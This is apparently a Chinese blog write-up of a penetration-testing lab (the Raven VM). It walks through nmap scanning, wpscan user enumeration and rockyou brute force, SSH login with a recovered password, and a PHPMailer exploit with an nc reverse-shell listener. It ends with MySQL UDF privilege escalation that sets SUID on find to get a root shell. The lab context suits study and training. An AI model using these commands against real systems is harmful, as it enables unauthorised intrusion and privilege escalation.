Raven 靶场渗透实例
知识点
1. PHPMailer
PHPMailer是一个用PHP编写的开源邮件发送库,它可以让PHP开发者方便地向收件人发送电子邮件。PHPMailer可以运行在几乎所有支持PHP的平台上,它使用SMTP协议来发送电子邮件,也可以使用PHP内置的mail函数。
实验环境
kali:10.10.10.128
靶机:10.10.10.145
1. 主机发现
netdiscover -i eth0 -r 10.10.10.0/24
# 或者
arp-scan 10.10.10.0/24
2. 服务探测
nmap -sS -sV -T5 -A 10.10.10.145
通过nmap扫描,发现该目标开放了80、110、22端口。那么就先查看web服务,看看有没有什么有用的信息吧!!!
在没有进行目录扫描时,一定要看源代码,一定要仔细的查看查看
在查看了几个页面,发现了flag1(只能说我说一头猪,都说了几遍,但是当第一次玩项目时,还是没有仔细查看,我服了!!)
3. 目录扫描
对目标主机进行目录扫描,如使用御剑、dirsearch、gobuster(反正在实际的项目中多使用不同的字典进行扫描)
通过目录扫描,发现wordpress(也是一个老演员了,遇到它也应该知道下一步该怎么做了吧!)
知道该web服务器使用了wordpress框架,那就使用wpscan扫描一下呗(专门针对wordpress框架的漏洞扫描器)
wpscan --url http://10.10.10.145/wordpress/ -e
通过wpscan进行信息收集得到两个用户:steven、michael
那就使用kali自带的密码本进行爆破(时间特别长,大概两个小时,这里也提示我们,搞安全的一定要有耐心!!!)
wpscan --url http://10.10.10.145/wordpress/ -e -U steven -P /usr/share/wordlists/rockyou.txt -t 10
得到用户名:steven
密码:pink84
到这里大家肯定会问不是还有一个用户,为什么不暴力破解一下?这里给大家解释解释:第一是因为我没有耐心!第二是网上就测试一个用户!所以懂?
这里知道用户名、密码,那么接下来的思路就是找登录窗口,进行登录。没有找到!那么这个用户可不可以使用ssh进行登录,那就试试看,能ssh登录!!!
4. 提权
- 查看敏感文件、目录,看能不能提权
- 查看特殊权限,是否能SUID提权
- 使用sudo -l查看授权的命令
- 上传漏洞检测脚本
也是在/var/www/目录下发现flag2。
接下来的flag会在那里呢?管他的,先到网站根目录查看一下配置代码,也是在wp-config.php文件中找到了root用户密码,那就登录登录看看有上面好东西!!
mysql -u root -pR@v3nSecurity
通过一顿猛如虎的操作,也是在wp_posts中发现了flag3和flag4!!!(这也告诉我们不要忽略数据库中的重要信息)
到这一步虽然都拿到了flag,但是没有提权的渗透是不完美的!!!这也暗示我是一个完美主义的人!
sudo -l #列出用户能执行的命令
获得最高权限!!!
使用wpscan对目标系统进行扫描,发现随随便便都是2个小时,那看看有没有其他方法getshell?
当初这个扫描出来/vendor是什么东西呢?
本人小白,查看查看网上教程,说PHPmailer存在漏洞!!!
通过查看在/vendor的文件,发现有一些线索,作者大大,也提示了我们!!!在kali上面搜索看看有没有相关的漏洞!
将漏洞复制在桌面上,查看使用方法!
根据提示,在kali上运行:
python 40974.py
然后使用nc进行监听:
nc -lvnp 4444
在浏览器访问刚才的后门文件,反弹shell
获得低权限shell!!!
提权:这里既然能获取MySQL的root密码并且能登录,那么是否能使用MySQL进行UDF提取呢?
使用root登录一下MySQL查看查看
mysql> show global variables like 'secure%';
show global variables like 'secure%';
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_auth | OFF |
| secure_file_priv | |
+------------------+-------+
2 rows in set (0.00 sec)
- 当secure_file_priv的值为NULL,则表示mysqld不允许导入|导出。
- 当secure_file_priv的值没有具体值时,表示对mysqld的导入导出没有限制。
- 当secure_file_priv的值为/usr/,表示限制mysqld的导入导出只能在/usr下
既然有root权限就可以修改该字段,以便进行后期的提取操作!
查看mysql动态链接库位置
mysql> show variables like '%plugin%';
show variables like '%plugin%';
+---------------+------------------------+
| Variable_name | Value |
+---------------+------------------------+
| plugin_dir | /usr/lib/mysql/plugin/ |
+---------------+------------------------+
1 row in set (0.00 sec)
在kali中寻找相应的exp呗!
根据exp的提示一步步来!
gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
然后使用python将编译过的文件发送到目标系统的/tmp目录下!
进入mysql数据库,创建表,导入文件内容,然后将文件导出到链接库中,新建存储函数,进行提取!!!
use mysql;
create table test(line blob);
insert into test values(load_file('/tmp/test.so'));
select * from test into dumpfile '/usr/lib/mysql/plugin/test.so';
create function do_system return integer soname 'test.so';
select * from mysql.func;
select do_system('chmod u+s /usr/bin/find');
-- 调用do_system函数为find命令添加suid权限,使其可以执行root命令
exit
然后执行find命令
touch test
find test -exec "/bin/sh" \;
cd /root
总结
- 还是太年轻!!!
- MySQL提取居然不会!!!
- 漏洞放在那里还是不会!!!
- 继续努力吧!
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· DeepSeek 开源周回顾「GitHub 热点速览」
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· AI与.NET技术实操系列(二):开始使用ML.NET
· 单线程的Redis速度为什么快?